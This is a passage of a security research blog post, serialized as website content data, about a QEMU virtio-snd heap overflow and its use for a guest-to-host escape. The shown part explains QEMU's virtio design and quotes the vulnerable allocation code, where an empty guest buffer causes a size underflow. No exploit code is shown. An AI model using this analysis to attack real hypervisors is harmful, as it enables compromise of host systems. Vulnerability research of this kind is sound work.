it.",{"type":23,"tag":7410,"props":125389,"children":125390},{},[125391],{"type":29,"value":7414},{"title":7,"searchDepth":4868,"depth":4868,"links":125393},[125394,125395,125398,125404,125405,125413,125419,125422,125423,125427],{"id":109690,"depth":4868,"text":109693},{"id":109832,"depth":4868,"text":109835,"children":125396},[125397],{"id":109838,"depth":4876,"text":109841},{"id":110267,"depth":4868,"text":110270,"children":125399},[125400,125401,125402,125403],{"id":110278,"depth":4876,"text":110281},{"id":110466,"depth":4876,"text":110469},{"id":113847,"depth":4876,"text":113850},{"id":115061,"depth":4876,"text":115064},{"id":116698,"depth":4868,"text":116701},{"id":117204,"depth":4868,"text":117207,"children":125406},[125407,125408,125409,125410,125411,125412],{"id":117226,"depth":4876,"text":117229},{"id":118551,"depth":4876,"text":109645},{"id":119687,"depth":4876,"text":119690},{"id":120355,"depth":4876,"text":120358},{"id":123011,"depth":4876,"text":123014},{"id":123565,"depth":4876,"text":109669},{"id":124494,"depth":4868,"text":124497,"children":125414},[125415,125416,125417,125418],{"id":124505,"depth":4876,"text":124508},{"id":124675,"depth":4876,"text":124678},{"id":124699,"depth":4876,"text":124702},{"id":124715,"depth":4876,"text":124718},{"id":124729,"depth":4868,"text":124732,"children":125420},[125421],{"id":124735,"depth":4876,"text":124738},{"id":124769,"depth":4868,"text":124772},{"id":124946,"depth":4868,"text":109682,"children":125424},[125425,125426],{"id":125279,"depth":4876,"text":109639},{"id":125308,"depth":4876,"text":109645},{"id":125339,"depth":4868,"text":125342},"content:blog:2026-03-03-zkvms-unfaithful-claims.md","blog/2026-03-03-zkvms-unfaithful-claims.md","blog/2026-03-03-zkvms-unfaithful-claims",{"_path":125432,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":125433,"description":125434,"date":125435,"author":125436,"image":125437,"isFeatured":15,"onBlogPage":15,"tags":125439,"body":125442,"_type":4892,"_id":133728,"_source":4894,"_file":133729,"_stem":133730,"_extension":4897},"/blog/2026-03-17-virtio-snd-qemu-hypervisor-escape","From virtio-snd 0-Day to Hypervisor Escape: Exploiting QEMU with an Uncontrolled Heap Overflow","Turning an uncontrolled heap overflow into a reliable QEMU guest-to-host escape using new glibc allocator behavior and QEMU-specific heap spray techniques.","2026-03-17T12:00:00.000Z","hrvoje",{"src":125438,"width":99047,"height":14},"/posts/virtio-snd-qemu-0day/title.png",[125440,125441],"qemu","heap-overflow",{"type":20,"children":125443,"toc":133710},[125444,125449,125454,125459,125465,125470,125475,125483,125489,125501,125505,125510,125518,125523,125529,125534,125547,126157,126192,126237,126271,126306,126441,126489,126495,126500,127256,127301,127337,127372,127437,127457,127907,127954,127957,127962,128027,128053,128075,128079,128084,128089,128095,128100,128105,128110,128116,128129,128135,128140,128148,128218,128223,128229,128242,128468,128531,128550,128933,128938,128971,128976,129252,129264,129282,129561,129573,129576,129611,129616,129622,129634,129646,129651,129656,129666,129701,130318,130350,130361,130397,130410,130416,130428,130436,130462,130467,130500,130541,130547,130566,130604,130612,130661,130666,130715,130720,130728,130815,130821,130860,130872,130880,130898,130917,130925,130937,130945,130964,130972,130983,130991,131002,131010,131023,131031,131037,131042,131055,131063,131081,131089,131101,131106,131114,131150,131183,131190,131224,131232,131237,131243,131255,131266,131545,131605,131673,131681,131715,132319,132330,132338,132344,132349,132360,133114,133147,133159,133245,133265,133474,133521,133533,133539,133558,133584,133612,133628,133655,133658,133678,133692,133696,133701,133706],{"type":23,"tag":32,"props":125445,"children":125446},{},[125447],{"type":29,"value":125448},"Heap overflows are often exploitable, but far less so when the corrupted bytes are not under your control. In many cases, that kind of bug is written off as a crash and nothing more. However, in this post we show how we turned such an overflow into a reliable QEMU guest-to-host escape by abusing new glibc allocator behavior and QEMU-specific heap spray techniques.",{"type":23,"tag":24,"props":125450,"children":125451},{"id":125440},[125452],{"type":29,"value":125453},"QEMU",{"type":23,"tag":32,"props":125455,"children":125456},{},[125457],{"type":29,"value":125458},"QEMU is a machine emulator and virtualizer that lets a host system run guest operating systems. It presents the guest with virtual hardware, while the logic backing that hardware runs inside the host-side QEMU process.",{"type":23,"tag":320,"props":125460,"children":125462},{"id":125461},"virtio-devices",[125463],{"type":29,"value":125464},"Virtio Devices",{"type":23,"tag":32,"props":125466,"children":125467},{},[125468],{"type":29,"value":125469},"For guest-to-host escape research, the interesting part of QEMU is the interface between the guest and those host-side device implementations. Every request sent by the guest is eventually parsed and handled by code running in the QEMU process. This is interesting because any unhandled edge case in the device could lead to some kind of host state corruption.",{"type":23,"tag":32,"props":125471,"children":125472},{},[125473],{"type":29,"value":125474},"At a high level, the communication between the driver running in the guest and the device running on the host is simple - the guest-side virtio driver shares requests over virtqueues, while the host-side virtio device consumes those requests, processes and returns responses.",{"type":23,"tag":32,"props":125476,"children":125477},{},[125478],{"type":23,"tag":199,"props":125479,"children":125482},{"alt":125480,"src":125481},"flowchart1","/posts/virtio-snd-qemu-0day/flowchart1.png",[],{"type":23,"tag":24,"props":125484,"children":125486},{"id":125485},"finding-a-bug",[125487],{"type":29,"value":125488},"Finding a Bug",{"type":23,"tag":32,"props":125490,"children":125491},{},[125492,125494,125500],{"type":29,"value":125493},"While looking for devices to research, we focused on ones that seemed to have received less scrutiny in the past. With that in mind, we started with the sound device ",{"type":23,"tag":154,"props":125495,"children":125497},{"className":125496},[],[125498],{"type":29,"value":125499},"virtio-snd",{"type":29,"value":357},{"type":23,"tag":320,"props":125502,"children":125503},{"id":125499},[125504],{"type":29,"value":125499},{"type":23,"tag":32,"props":125506,"children":125507},{},[125508],{"type":29,"value":125509},"From the official documentation:",{"type":23,"tag":446,"props":125511,"children":125512},{},[125513],{"type":23,"tag":32,"props":125514,"children":125515},{},[125516],{"type":29,"value":125517},"Virtio sound implements capture and playback from inside a guest using the configured audio backend of the host machine.",{"type":23,"tag":32,"props":125519,"children":125520},{},[125521],{"type":29,"value":125522},"Essentially, it allows software running inside the guest to interact with the host's audio stack through a paravirtualized sound device. Playback streams send guest-provided audio data to the host backend, while capture streams let the guest receive audio input from the host.",{"type":23,"tag":20944,"props":125524,"children":125526},{"id":125525},"audio-data-buffers",[125527],{"type":29,"value":125528},"Audio Data Buffers",{"type":23,"tag":32,"props":125530,"children":125531},{},[125532],{"type":29,"value":125533},"This audio data flows through buffers allocated by the host-side virtio-snd device and stored in a FIFO linked list for the corresponding stream.",{"type":23,"tag":32,"props":125535,"children":125536},{},[125537,125539,125545],{"type":29,"value":125538},"For example, the following is ",{"type":23,"tag":154,"props":125540,"children":125542},{"className":125541},[],[125543],{"type":29,"value":125544},"virtio_snd_handle_rx_xfer",{"type":29,"value":125546},", which is responsible for allocating buffers for an input audio stream:",{"type":23,"tag":4743,"props":125548,"children":125550},{"code":125549,"language":3110,"meta":7,"className":18562,"style":7},"/*\n * The rx virtqueue handler. Makes the buffers available to their\n * respective streams for consumption.\n *\n * @vdev: VirtIOSound device\n * @vq: rx virtqueue\n */\nstatic void virtio_snd_handle_rx_xfer(VirtIODevice *vdev, VirtQueue *vq)\n{\n    VirtQueueElement *elem;\n    [...]\n\n    for (;;) {\n        VirtIOSoundPCMStream *stream;\n\n        elem = virtqueue_pop(vq, sizeof(VirtQueueElement));     // [1]\n        if (!elem) {\n            break;\n        }\n\n        [...]\n\n        WITH_QEMU_LOCK_GUARD(&stream->queue_mutex) {\n            size = iov_size(elem->in_sg, elem->in_num) -\n                sizeof(virtio_snd_pcm_status);                  // [2]\n            buffer = g_malloc0(sizeof(VirtIOSoundPCMBuffer) + size);\n            buffer->elem = elem;\n            buffer->vq = vq;\n            buffer->size = 0;\n            buffer->offset = 0;\n            QSIMPLEQ_INSERT_TAIL(&stream->queue, buffer, entry); // [3]\n        }\n        continue;\n\n        [...]\n}\n\n",[125551],{"type":23,"tag":154,"props":125552,"children":125553},{"__ignoreMap":7},[125554,125561,125569,125577,125584,125592,125600,125608,125656,125663,125680,125687,125694,125706,125723,125730,125766,125786,125797,125804,125811,125819,125826,125859,125918,125936,125975,126000,126024,126052,126079,126117,126124,126136,126143,126150],{"type":23,"tag":504,"props":125555,"children":125556},{"class":5016,"line":5017},[125557],{"type":23,"tag":504,"props":125558,"children":125559},{"style":5021},[125560],{"type":29,"value":51429},{"type":23,"tag":504,"props":125562,"children":125563},{"class":5016,"line":4868},[125564],{"type":23,"tag":504,"props":125565,"children":125566},{"style":5021},[125567],{"type":29,"value":125568}," * The rx virtqueue handler. Makes the buffers available to their\n",{"type":23,"tag":504,"props":125570,"children":125571},{"class":5016,"line":4876},[125572],{"type":23,"tag":504,"props":125573,"children":125574},{"style":5021},[125575],{"type":29,"value":125576}," * respective streams for consumption.\n",{"type":23,"tag":504,"props":125578,"children":125579},{"class":5016,"line":5099},[125580],{"type":23,"tag":504,"props":125581,"children":125582},{"style":5021},[125583],{"type":29,"value":21540},{"type":23,"tag":504,"props":125585,"children":125586},{"class":5016,"line":5203},[125587],{"type":23,"tag":504,"props":125588,"children":125589},{"style":5021},[125590],{"type":29,"value":125591}," * @vdev: VirtIOSound device\n",{"type":23,"tag":504,"props":125593,"children":125594},{"class":5016,"line":5308},[125595],{"type":23,"tag":504,"props":125596,"children":125597},{"style":5021},[125598],{"type":29,"value":125599}," * @vq: rx virtqueue\n",{"type":23,"tag":504,"props":125601,"children":125602},{"class":5016,"line":5336},[125603],{"type":23,"tag":504,"props":125604,"children":125605},{"style":5021},[125606],{"type":29,"value":125607}," */\n",{"type":23,"tag":504,"props":125609,"children":125610},{"class":5016,"line":5349},[125611,125615,125619,125624,125629,125633,125638,125643,125647,125652],{"type":23,"tag":504,"props":125612,"children":125613},{"style":5030},[125614],{"type":29,"value":53107},{"type":23,"tag":504,"props":125616,"children":125617},{"style":5030},[125618],{"type":29,"value":53112},{"type":23,"tag":504,"props":125620,"children":125621},{"style":5139},[125622],{"type":29,"value":125623}," virtio_snd_handle_rx_xfer",{"type":23,"tag":504,"props":125625,"children":125626},{"style":5058},[125627],{"type":29,"value":125628},"(VirtIODevice ",{"type":23,"tag":504,"props":125630,"children":125631},{"style":5047},[125632],{"type":29,"value":6613},{"type":23,"tag":504,"props":125634,"children":125635},{"style":5041},[125636],{"type":29,"value":125637},"vdev",{"type":23,"tag":504,"props":125639,"children":125640},{"style":5058},[125641],{"type":29,"value":125642},", VirtQueue ",{"type":23,"tag":504,"props":125644,"children":125645},{"style":5047},[125646],{"type":29,"value":6613},{"type":23,"tag":504,"props":125648,"children":125649},{"style":5041},[125650],{"type":29,"value":125651},"vq",{"type":23,"tag":504,"props":125653,"children":125654},{"style":5058},[125655],{"type":29,"value":5200},{"type":23,"tag":504,"props":125657,"children":125658},{"class":5016,"line":5367},[125659],{"type":23,"tag":504,"props":125660,"children":125661},{"style":5058},[125662],{"type":29,"value":12926},{"type":23,"tag":504,"props":125664,"children":125665},{"class":5016,"line":5388},[125666,125671,125675],{"type":23,"tag":504,"props":125667,"children":125668},{"style":5058},[125669],{"type":29,"value":125670},"    VirtQueueElement ",{"type":23,"tag":504,"props":125672,"children":125673},{"style":5047},[125674],{"type":29,"value":6613},{"type":23,"tag":504,"props":125676,"children":125677},{"style":5058},[125678],{"type":29,"value":125679},"elem;\n",{"type":23,"tag":504,"props":125681,"children":125682},{"class":5016,"line":5397},[125683],{"type":23,"tag":504,"props":125684,"children":125685},{"style":5058},[125686],{"type":29,"value":106580},{"type":23,"tag":504,"props":125688,"children":125689},{"class":5016,"line":5649},[125690],{"type":23,"tag":504,"props":125691,"children":125692},{"emptyLinePlaceholder":15},[125693],{"type":29,"value":5734},{"type":23,"tag":504,"props":125695,"children":125696},{"class":5016,"line":5666},[125697,125701],{"type":23,"tag":504,"props":125698,"children":125699},{"style":5067},[125700],{"type":29,"value":5070},{"type":23,"tag":504,"props":125702,"children":125703},{"style":5058},[125704],{"type":29,"value":125705}," (;;) {\n",{"type":23,"tag":504,"props":125707,"children":125708},{"class":5016,"line":5683},[125709,125714,125718],{"type":23,"tag":504,"props":125710,"children":125711},{"style":5058},[125712],{"type":29,"value":125713},"        VirtIOSoundPCMStream ",{"type":23,"tag":504,"props":125715,"children":125716},{"style":5047},[125717],{"type":29,"value":6613},{"type":23,"tag":504,"props":125719,"children":125720},{"style":5058},[125721],{"type":29,"value":125722},"stream;\n",{"type":23,"tag":504,"props":125724,"children":125725},{"class":5016,"line":5696},[125726],{"type":23,"tag":504,"props":125727,"children":125728},{"emptyLinePlaceholder":15},[125729],{"type":29,"value":5734},{"type":23,"tag":504,"props":125731,"children":125732},{"class":5016,"line":5705},[125733,125738,125742,125747,125752,125756,125761],{"type":23,"tag":504,"props":125734,"children":125735},{"style":5058},[125736],{"type":29,"value":125737},"        elem ",{"type":23,"tag":504,"props":125739,"children":125740},{"style":5047},[125741],{"type":29,"value":546},{"type":23,"tag":504,"props":125743,"children":125744},{"style":5139},[125745],{"type":29,"value":125746}," virtqueue_pop",{"type":23,"tag":504,"props":125748,"children":125749},{"style":5058},[125750],{"type":29,"value":125751},"(vq, ",{"type":23,"tag":504,"props":125753,"children":125754},{"style":5030},[125755],{"type":29,"value":57389},{"type":23,"tag":504,"props":125757,"children":125758},{"style":5058},[125759],{"type":29,"value":125760},"(VirtQueueElement));",{"type":23,"tag":504,"props":125762,"children":125763},{"style":5021},[125764],{"type":29,"value":125765},"     // [1]\n",{"type":23,"tag":504,"props":125767,"children":125768},{"class":5016,"line":5728},[125769,125773,125777,125781],{"type":23,"tag":504,"props":125770,"children":125771},{"style":5067},[125772],{"type":29,"value":5314},{"type":23,"tag":504,"props":125774,"children":125775},{"style":5058},[125776],{"type":29,"value":5110},{"type":23,"tag":504,"props":125778,"children":125779},{"style":5047},[125780],{"type":29,"value":22674},{"type":23,"tag":504,"props":125782,"children":125783},{"style":5058},[125784],{"type":29,"value":125785},"elem) {\n",{"type":23,"tag":504,"props":125787,"children":125788},{"class":5016,"line":5737},[125789,125793],{"type":23,"tag":504,"props":125790,"children":125791},{"style":5067},[125792],{"type":29,"value":5342},{"type":23,"tag":504,"props":125794,"children":125795},{"style":5058},[125796],{"type":29,"value":5061},{"type":23,"tag":504,"props":125798,"children":125799},{"class":5016,"line":5746},[125800],{"type":23,"tag":504,"props":125801,"children":125802},{"style":5058},[125803],{"type":29,"value":5394},{"type":23,"tag":504,"props":125805,"children":125806},{"class":5016,"line":5813},[125807],{"type":23,"tag":504,"props":125808,"children":125809},{"emptyLinePlaceholder":15},[125810],{"type":29,"value":5734},{"type":23,"tag":504,"props":125812,"children":125813},{"class":5016,"line":5821},[125814],{"type":23,"tag":504,"props":125815,"children":125816},{"style":5058},[125817],{"type":29,"value":125818},"        [...]\n",{"type":23,"tag":504,"props":125820,"children":125821},{"class":5016,"line":5851},[125822],{"type":23,"tag":504,"props":125823,"children":125824},{"emptyLinePlaceholder":15},[125825],{"type":29,"value":5734},{"type":23,"tag":504,"props":125827,"children":125828},{"class":5016,"line":5859},[125829,125834,125838,125842,125846,125850,125855],{"type":23,"tag":504,"props":125830,"children":125831},{"style":5139},[125832],{"type":29,"value":125833},"        WITH_QEMU_LOCK_GUARD",{"type":23,"tag":504,"props":125835,"children":125836},{"style":5058},[125837],{"type":29,"value":603},{"type":23,"tag":504,"props":125839,"children":125840},{"style":5047},[125841],{"type":29,"value":5151},{"type":23,"tag":504,"props":125843,"children":125844},{"style":5041},[125845],{"type":29,"value":38318},{"type":23,"tag":504,"props":125847,"children":125848},{"style":5058},[125849],{"type":29,"value":15803},{"type":23,"tag":504,"props":125851,"children":125852},{"style":5041},[125853],{"type":29,"value":125854},"queue_mutex",{"type":23,"tag":504,"props":125856,"children":125857},{"style":5058},[125858],{"type":29,"value":16850},{"type":23,"tag":504,"props":125860,"children":125861},{"class":5016,"line":5891},[125862,125867,125871,125876,125880,125884,125888,125893,125897,125901,125905,125910,125914],{"type":23,"tag":504,"props":125863,"children":125864},{"style":5058},[125865],{"type":29,"value":125866},"            size ",{"type":23,"tag":504,"props":125868,"children":125869},{"style":5047},[125870],{"type":29,"value":546},{"type":23,"tag":504,"props":125872,"children":125873},{"style":5139},[125874],{"type":29,"value":125875}," iov_size",{"type":23,"tag":504,"props":125877,"children":125878},{"style":5058},[125879],{"type":29,"value":603},{"type":23,"tag":504,"props":125881,"children":125882},{"style":5041},[125883],{"type":29,"value":54125},{"type":23,"tag":504,"props":125885,"children":125886},{"style":5058},[125887],{"type":29,"value":15803},{"type":23,"tag":504,"props":125889,"children":125890},{"style":5041},[125891],{"type":29,"value":125892},"in_sg",{"type":23,"tag":504,"props":125894,"children":125895},{"style":5058},[125896],{"type":29,"value":4367},{"type":23,"tag":504,"props":125898,"children":125899},{"style":5041},[125900],{"type":29,"value":54125},{"type":23,"tag":504,"props":125902,"children":125903},{"style":5058},[125904],{"type":29,"value":15803},{"type":23,"tag":504,"props":125906,"children":125907},{"style":5041},[125908],{"type":29,"value":125909},"in_num",{"type":23,"tag":504,"props":125911,"children":125912},{"style":5058},[125913],{"type":29,"value":5128},{"type":23,"tag":504,"props":125915,"children":125916},{"style":5047},[125917],{"type":29,"value":52924},{"type":23,"tag":504,"props":125919,"children":125920},{"class":5016,"line":5899},[125921,125926,125931],{"type":23,"tag":504,"props":125922,"children":125923},{"style":5030},[125924],{"type":29,"value":125925},"                sizeof",{"type":23,"tag":504,"props":125927,"children":125928},{"style":5058},[125929],{"type":29,"value":125930},"(virtio_snd_pcm_status);",{"type":23,"tag":504,"props":125932,"children":125933},{"style":5021},[125934],{"type":29,"value":125935},"                  // [2]\n",{"type":23,"tag":504,"props":125937,"children":125938},{"class":5016,"line":5959},[125939,125944,125948,125953,125957,125961,125966,125970],{"type":23,"tag":504,"props":125940,"children":125941},{"style":5058},[125942],{"type":29,"value":125943},"            buffer ",{"type":23,"tag":504,"props":125945,"children":125946},{"style":5047},[125947],{"type":29,"value":546},{"type":23,"tag":504,"props":125949,"children":125950},{"style":5139},[125951],{"type":29,"value":125952}," g_malloc0",{"type":23,"tag":504,"props":125954,"children":125955},{"style":5058},[125956],{"type":29,"value":603},{"type":23,"tag":504,"props":125958,"children":125959},{"style":5030},[125960],{"type":29,"value":57389},{"type":23,"tag":504,"props":125962,"children":125963},{"style":5058},[125964],{"type":29,"value":125965},"(VirtIOSoundPCMBuffer) ",{"type":23,"tag":504,"props":125967,"children":125968},{"style":5047},[125969],{"type":29,"value":6422},{"type":23,"tag":504,"props":125971,"children":125972},{"style":5058},[125973],{"type":29,"value":125974}," size);\n",{"type":23,"tag":504,"props":125976,"children":125977},{"class":5016,"line":11093},[125978,125983,125987,125991,125995],{"type":23,"tag":504,"props":125979,"children":125980},{"style":5041},[125981],{"type":29,"value":125982},"            buffer",{"type":23,"tag":504,"props":125984,"children":125985},{"style":5058},[125986],{"type":29,"value":15803},{"type":23,"tag":504,"props":125988,"children":125989},{"style":5041},[125990],{"type":29,"value":54125},{"type":23,"tag":504,"props":125992,"children":125993},{"style":5047},[125994],{"type":29,"value":5050},{"type":23,"tag":504,"props":125996,"children":125997},{"style":5058},[125998],{"type":29,"value":125999}," elem;\n",{"type":23,"tag":504,"props":126001,"children":126002},{"class":5016,"line":11111},[126003,126007,126011,126015,126019],{"type":23,"tag":504,"props":126004,"children":126005},{"style":5041},[126006],{"type":29,"value":125982},{"type":23,"tag":504,"props":126008,"children":126009},{"style":5058},[126010],{"type":29,"value":15803},{"type":23,"tag":504,"props":126012,"children":126013},{"style":5041},[126014],{"type":29,"value":125651},{"type":23,"tag":504,"props":126016,"children":126017},{"style":5047},[126018],{"type":29,"value":5050},{"type":23,"tag":504,"props":126020,"children":126021},{"style":5058},[126022],{"type":29,"value":126023}," vq;\n",{"type":23,"tag":504,"props":126025,"children":126026},{"class":5016,"line":11156},[126027,126031,126035,126040,126044,126048],{"type":23,"tag":504,"props":126028,"children":126029},{"style":5041},[126030],{"type":29,"value":125982},{"type":23,"tag":504,"props":126032,"children":126033},{"style":5058},[126034],{"type":29,"value":15803},{"type":23,"tag":504,"props":126036,"children":126037},{"style":5041},[126038],{"type":29,"value":126039},"size",{"type":23,"tag":504,"props":126041,"children":126042},{"style":5047},[126043],{"type":29,"value":5050},{"type":23,"tag":504,"props":126045,"children":126046},{"style":5083},[126047],{"type":29,"value":5086},{"type":23,"tag":504,"props":126049,"children":126050},{"style":5058},[126051],{"type":29,"value":5061},{"type":23,"tag":504,"props":126053,"children":126054},{"class":5016,"line":11262},[126055,126059,126063,126067,126071,126075],{"type":23,"tag":504,"props":126056,"children":126057},{"style":5041},[126058],{"type":29,"value":125982},{"type":23,"tag":504,"props":126060,"children":126061},{"style":5058},[126062],{"type":29,"value":15803},{"type":23,"tag":504,"props":126064,"children":126065},{"style":5041},[126066],{"type":29,"value":15947},{"type":23,"tag":504,"props":126068,"children":126069},{"style":5047},[126070],{"type":29,"value":5050},{"type":23,"tag":504,"props":126072,"children":126073},{"style":5083},[126074],{"type":29,"value":5086},{"type":23,"tag":504,"props":126076,"children":126077},{"style":5058},[126078],{"type":29,"value":5061},{"type":23,"tag":504,"props":126080,"children":126081},{"class":5016,"line":25550},[126082,126087,126091,126095,126099,126103,126108,126113],{"type":23,"tag":504,"props":126083,"children":126084},{"style":5139},[126085],{"type":29,"value":126086},"            QSIMPLEQ_INSERT_TAIL",{"type":23,"tag":504,"props":126088,"children":126089},{"style":5058},[126090],{"type":29,"value":603},{"type":23,"tag":504,"props":126092,"children":126093},{"style":5047},[126094],{"type":29,"value":5151},{"type":23,"tag":504,"props":126096,"children":126097},{"style":5041},[126098],{"type":29,"value":38318},{"type":23,"tag":504,"props":126100,"children":126101},{"style":5058},[126102],{"type":29,"value":15803},{"type":23,"tag":504,"props":126104,"children":126105},{"style":5041},[126106],{"type":29,"value":126107},"queue",{"type":23,"tag":504,"props":126109,"children":126110},{"style":5058},[126111],{"type":29,"value":126112},", buffer, entry);",{"type":23,"tag":504,"props":126114,"children":126115},{"style":5021},[126116],{"type":29,"value":54690},{"type":23,"tag":504,"props":126118,"children":126119},{"class":5016,"line":25585},[126120],{"type":23,"tag":504,"props":126121,"children":126122},{"style":5058},[126123],{"type":29,"value":5394},{"type":23,"tag":504,"props":126125,"children":126126},{"class":5016,"line":25593},[126127,126132],{"type":23,"tag":504,"props":126128,"children":126129},{"style":5067},[126130],{"type":29,"value":126131},"        continue",{"type":23,"tag":504,"props":126133,"children":126134},{"style":5058},[126135],{"type":29,"value":5061},{"type":23,"tag":504,"props":126137,"children":126138},{"class":5016,"line":25601},[126139],{"type":23,"tag":504,"props":126140,"children":126141},{"emptyLinePlaceholder":15},[126142],{"type":29,"value":5734},{"type":23,"tag":504,"props":126144,"children":126145},{"class":5016,"line":25610},[126146],{"type":23,"tag":504,"props":126147,"children":126148},{"style":5058},[126149],{"type":29,"value":125818},{"type":23,"tag":504,"props":126151,"children":126152},{"class":5016,"line":25652},[126153],{"type":23,"tag":504,"props":126154,"children":126155},{"style":5058},[126156],{"type":29,"value":5965},{"type":23,"tag":32,"props":126158,"children":126159},{},[126160,126162,126168,126170,126176,126178,126183,126184,126190],{"type":29,"value":126161},"At ",{"type":23,"tag":154,"props":126163,"children":126165},{"className":126164},[],[126166],{"type":29,"value":126167},"[1]",{"type":29,"value":126169},", a ",{"type":23,"tag":154,"props":126171,"children":126173},{"className":126172},[],[126174],{"type":29,"value":126175},"VirtQueueElement *elem",{"type":29,"value":126177}," is popped from the virtqueue. It contains the ",{"type":23,"tag":154,"props":126179,"children":126181},{"className":126180},[],[126182],{"type":29,"value":125892},{"type":29,"value":4478},{"type":23,"tag":154,"props":126185,"children":126187},{"className":126186},[],[126188],{"type":29,"value":126189},"out_sg",{"type":29,"value":126191}," iovecs that describe the guest request, and is therefore fully guest-controlled.",{"type":23,"tag":32,"props":126193,"children":126194},{},[126195,126197,126203,126205,126211,126213,126219,126221,126227,126229,126235],{"type":29,"value":126196},"Further at ",{"type":23,"tag":154,"props":126198,"children":126200},{"className":126199},[],[126201],{"type":29,"value":126202},"[2]",{"type":29,"value":126204},", the device computes the size of the data buffer as ",{"type":23,"tag":154,"props":126206,"children":126208},{"className":126207},[],[126209],{"type":29,"value":126210},"iov_size(elem->in_sg, elem->in_num) - sizeof(virtio_snd_pcm_status)",{"type":29,"value":126212},". That value is then used in the allocation: ",{"type":23,"tag":154,"props":126214,"children":126216},{"className":126215},[],[126217],{"type":29,"value":126218},"g_malloc0(sizeof(VirtIOSoundPCMBuffer) + size)",{"type":29,"value":126220},". Finally, at ",{"type":23,"tag":154,"props":126222,"children":126224},{"className":126223},[],[126225],{"type":29,"value":126226},"[3]",{"type":29,"value":126228},", the newly allocated buffer is appended to the ",{"type":23,"tag":154,"props":126230,"children":126232},{"className":126231},[],[126233],{"type":29,"value":126234},"stream->queue",{"type":29,"value":126236}," linked list.",{"type":23,"tag":32,"props":126238,"children":126239},{},[126240,126242,126247,126249,126254,126256,126261,126263,126269],{"type":29,"value":126241},"Because both the ",{"type":23,"tag":154,"props":126243,"children":126245},{"className":126244},[],[126246],{"type":29,"value":125892},{"type":29,"value":126248}," iovec and the ",{"type":23,"tag":154,"props":126250,"children":126252},{"className":126251},[],[126253],{"type":29,"value":125909},{"type":29,"value":126255}," field are guest-controlled, and there is no check that the total ",{"type":23,"tag":154,"props":126257,"children":126259},{"className":126258},[],[126260],{"type":29,"value":125892},{"type":29,"value":126262}," size is at least ",{"type":23,"tag":154,"props":126264,"children":126266},{"className":126265},[],[126267],{"type":29,"value":126268},"sizeof(virtio_snd_pcm_status)",{"type":29,"value":126270},", this calculation can underflow if the guest provides a smaller input buffer - that gives us our first bug.",{"type":23,"tag":32,"props":126272,"children":126273},{},[126274,126276,126281,126283,126289,126291,126297,126299,126305],{"type":29,"value":126275},"From the guest driver, we can provide an empty ",{"type":23,"tag":154,"props":126277,"children":126279},{"className":126278},[],[126280],{"type":29,"value":125892},{"type":29,"value":126282}," iovec. In that case, the calculation becomes ",{"type":23,"tag":154,"props":126284,"children":126286},{"className":126285},[],[126287],{"type":29,"value":126288},"0 - sizeof(virtio_snd_pcm_status)",{"type":29,"value":126290},", so the allocation size effectively becomes ",{"type":23,"tag":154,"props":126292,"children":126294},{"className":126293},[],[126295],{"type":29,"value":126296},"sizeof(VirtIOSoundPCMBuffer) - 8",{"type":29,"value":126298},". Given the definition of ",{"type":23,"tag":154,"props":126300,"children":126302},{"className":126301},[],[126303],{"type":29,"value":126304},"VirtIOSoundPCMBuffer",{"type":29,"value":6533},{"type":23,"tag":4743,"props":126307,"children":126309},{"code":126308,"language":3110,"meta":7,"className":18562,"style":7},"struct VirtIOSoundPCMBuffer {\n    QSIMPLEQ_ENTRY(VirtIOSoundPCMBuffer) entry;\n    VirtQueueElement *elem;\n    VirtQueue *vq;\n    size_t size;\n    uint64_t offset;\n    /* Used for the TX queue for lazy I/O copy from `elem` */\n    bool populated;\n    uint8_t data[];\n};\n",[126310],{"type":23,"tag":154,"props":126311,"children":126312},{"__ignoreMap":7},[126313,126325,126338,126353,126370,126382,126394,126402,126414,126434],{"type":23,"tag":504,"props":126314,"children":126315},{"class":5016,"line":5017},[126316,126320],{"type":23,"tag":504,"props":126317,"children":126318},{"style":5030},[126319],{"type":29,"value":11448},{"type":23,"tag":504,"props":126321,"children":126322},{"style":5058},[126323],{"type":29,"value":126324}," VirtIOSoundPCMBuffer {\n",{"type":23,"tag":504,"props":126326,"children":126327},{"class":5016,"line":4868},[126328,126333],{"type":23,"tag":504,"props":126329,"children":126330},{"style":5139},[126331],{"type":29,"value":126332},"    QSIMPLEQ_ENTRY",{"type":23,"tag":504,"props":126334,"children":126335},{"style":5058},[126336],{"type":29,"value":126337},"(VirtIOSoundPCMBuffer) entry;\n",{"type":23,"tag":504,"props":126339,"children":126340},{"class":5016,"line":4876},[126341,126345,126349],{"type":23,"tag":504,"props":126342,"children":126343},{"style":5058},[126344],{"type":29,"value":125670},{"type":23,"tag":504,"props":126346,"children":126347},{"style":5047},[126348],{"type":29,"value":6613},{"type":23,"tag":504,"props":126350,"children":126351},{"style":5058},[126352],{"type":29,"value":125679},{"type":23,"tag":504,"props":126354,"children":126355},{"class":5016,"line":5099},[126356,126361,126365],{"type":23,"tag":504,"props":126357,"children":126358},{"style":5058},[126359],{"type":29,"value":126360},"    VirtQueue ",{"type":23,"tag":504,"props":126362,"children":126363},{"style":5047},[126364],{"type":29,"value":6613},{"type":23,"tag":504,"props":126366,"children":126367},{"style":5058},[126368],{"type":29,"value":126369},"vq;\n",{"type":23,"tag":504,"props":126371,"children":126372},{"class":5016,"line":5203},[126373,126377],{"type":23,"tag":504,"props":126374,"children":126375},{"style":5030},[126376],{"type":29,"value":18612},{"type":23,"tag":504,"props":126378,"children":126379},{"style":5058},[126380],{"type":29,"value":126381}," size;\n",{"type":23,"tag":504,"props":126383,"children":126384},{"class":5016,"line":5308},[126385,126389],{"type":23,"tag":504,"props":126386,"children":126387},{"style":5030},[126388],{"type":29,"value":57674},{"type":23,"tag":504,"props":126390,"children":126391},{"style":5058},[126392],{"type":29,"value":126393}," offset;\n",{"type":23,"tag":504,"props":126395,"children":126396},{"class":5016,"line":5336},[126397],{"type":23,"tag":504,"props":126398,"children":126399},{"style":5021},[126400],{"type":29,"value":126401},"    /* Used for the TX queue for lazy I/O copy from `elem` */\n",{"type":23,"tag":504,"props":126403,"children":126404},{"class":5016,"line":5349},[126405,126409],{"type":23,"tag":504,"props":126406,"children":126407},{"style":5030},[126408],{"type":29,"value":48535},{"type":23,"tag":504,"props":126410,"children":126411},{"style":5058},[126412],{"type":29,"value":126413}," 